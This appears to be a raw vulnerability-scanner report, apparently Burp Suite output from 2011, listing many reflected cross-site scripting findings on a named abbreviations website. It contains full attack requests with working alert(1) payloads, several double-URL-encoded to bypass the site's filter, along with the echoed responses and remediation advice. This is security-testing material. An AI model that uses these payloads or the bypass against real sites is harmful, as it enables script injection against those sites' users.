GET /bs2.aspx?st=a6ce2<script>alert(1)</script>eaf5fd2e670 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:16:21 GMT Connection: close Content-Length: 26523
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ab542%253cscript%253ealert%25281%2529%253c%252fscript%253e78bee243156 was submitted in the REST URL parameter 1. This input was echoed as ab542<script>alert(1)</script>78bee243156 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /getsugg.aspxab542%253cscript%253ealert%25281%2529%253c%252fscript%253e78bee243156 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:39:55 GMT Connection: close Content-Length: 27203
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3ec8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaf1a48cd5fc was submitted in the REST URL parameter 1. This input was echoed as c3ec8"><script>alert(1)</script>af1a48cd5fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /getsugg.aspxc3ec8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaf1a48cd5fc HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:36:54 GMT Connection: close Content-Length: 27223
.lst{background- ...[SNIP]... <meta name="keywords" content="What does getsugg.aspxc3ec8"><script>alert(1)</script>af1a48cd5fc stand for?, What does getsugg.aspxc3ec8"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 173fe%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf6bcc3c130 was submitted in the REST URL parameter 1. This input was echoed as 173fe</title><script>alert(1)</script>df6bcc3c130 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /getsugg.aspx173fe%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf6bcc3c130 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:43:18 GMT Connection: close Content-Length: 27385
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f167%2522%253balert%25281%2529%252f%252f2f81dfde9c5 was submitted in the REST URL parameter 1. This input was echoed as 3f167";alert(1)//2f81dfde9c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /getsugg.aspx3f167%2522%253balert%25281%2529%252f%252f2f81dfde9c5 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:39:24 GMT Connection: close Content-Length: 26852
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8287f%253cscript%253ealert%25281%2529%253c%252fscript%253ecc7e34a63cc was submitted in the REST URL parameter 1. This input was echoed as 8287f<script>alert(1)</script>cc7e34a63cc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /justadded.aspx8287f%253cscript%253ealert%25281%2529%253c%252fscript%253ecc7e34a63cc HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:28:25 GMT Connection: close Content-Length: 27238
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8db78%2522%253balert%25281%2529%252f%252f54c807c3c7d was submitted in the REST URL parameter 1. This input was echoed as 8db78";alert(1)//54c807c3c7d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /justadded.aspx8db78%2522%253balert%25281%2529%252f%252f54c807c3c7d HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:25:05 GMT Connection: close Content-Length: 26906
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload fff86%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec6029eb64ec was submitted in the REST URL parameter 1. This input was echoed as fff86</title><script>alert(1)</script>c6029eb64ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /justadded.aspxfff86%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec6029eb64ec HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:31:09 GMT Connection: close Content-Length: 27473
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42381%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c044cd5629 was submitted in the REST URL parameter 1. This input was echoed as 42381"><script>alert(1)</script>8c044cd5629 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /justadded.aspx42381%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8c044cd5629 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:23:28 GMT Connection: close Content-Length: 27276
.lst{background- ...[SNIP]... <meta name="keywords" content="What does justadded.aspx42381"><script>alert(1)</script>8c044cd5629 stand for?, What does justadded.aspx42381"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6714c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6150d8cc99d was submitted in the REST URL parameter 1. This input was echoed as 6714c"><script>alert(1)</script>6150d8cc99d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /random.aspx6714c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6150d8cc99d HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:26:31 GMT Connection: close Content-Length: 27195
.lst{background- ...[SNIP]... <meta name="keywords" content="What does random.aspx6714c"><script>alert(1)</script>6150d8cc99d stand for?, What does random.aspx6714c"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7bde3%253cscript%253ealert%25281%2529%253c%252fscript%253e480139ed9b was submitted in the REST URL parameter 1. This input was echoed as 7bde3<script>alert(1)</script>480139ed9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /random.aspx7bde3%253cscript%253ealert%25281%2529%253c%252fscript%253e480139ed9b HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:28:20 GMT Connection: close Content-Length: 27130
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload a3e63%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e029e9681aa3 was submitted in the REST URL parameter 1. This input was echoed as a3e63</title><script>alert(1)</script>029e9681aa3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /random.aspxa3e63%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e029e9681aa3 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:29:45 GMT Connection: close Content-Length: 27357
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0199%2522%253balert%25281%2529%252f%252fdc2600d1a53 was submitted in the REST URL parameter 1. This input was echoed as d0199";alert(1)//dc2600d1a53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /random.aspxd0199%2522%253balert%25281%2529%252f%252fdc2600d1a53 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:27:19 GMT Connection: close Content-Length: 26825
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8b29%2522%253balert%25281%2529%252f%252f3fbc9a897bd was submitted in the REST URL parameter 1. This input was echoed as c8b29";alert(1)//3fbc9a897bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchAmazon.aspxc8b29%2522%253balert%25281%2529%252f%252f3fbc9a897bd HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:29:07 GMT Connection: close Content-Length: 26968
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 81f14%253cscript%253ealert%25281%2529%253c%252fscript%253e1dcba33aba9 was submitted in the REST URL parameter 1. This input was echoed as 81f14<script>alert(1)</script>1dcba33aba9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchAmazon.aspx81f14%253cscript%253ealert%25281%2529%253c%252fscript%253e1dcba33aba9 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:30:35 GMT Connection: close Content-Length: 27304
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 12886%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e65482f9cb43 was submitted in the REST URL parameter 1. This input was echoed as 12886</title><script>alert(1)</script>65482f9cb43 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchAmazon.aspx12886%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e65482f9cb43 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:32:50 GMT Connection: close Content-Length: 27554
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de701%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee9e42a89191 was submitted in the REST URL parameter 1. This input was echoed as de701"><script>alert(1)</script>e9e42a89191 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchAmazon.aspxde701%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee9e42a89191 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:28:43 GMT Connection: close Content-Length: 27373
.lst{background- ...[SNIP]... <meta name="keywords" content="What does searchAmazon.aspxde701"><script>alert(1)</script>e9e42a89191 stand for?, What does searchAmazon.aspxde701"> ...[SNIP]...
The value of the st request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55e03"%3balert(1)//fb56f9bdb1a was submitted in the st parameter. This input was echoed as 55e03";alert(1)//fb56f9bdb1a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchAmazon.aspx?st=55e03"%3balert(1)//fb56f9bdb1a HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:22:56 GMT Connection: close Content-Length: 27124
The value of the st request parameter is copied into the HTML document as plain text between tags. The payload 9c244<script>alert(1)</script>f6f6f282acc was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchAmazon.aspx?st=9c244<script>alert(1)</script>f6f6f282acc HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:23:16 GMT Connection: close Content-Length: 27371
The value of the st request parameter is copied into the HTML document as text between TITLE tags. The payload 16b98</title><script>alert(1)</script>ea6b04fea67 was submitted in the st parameter. This input was echoed unmodified in the application's response.
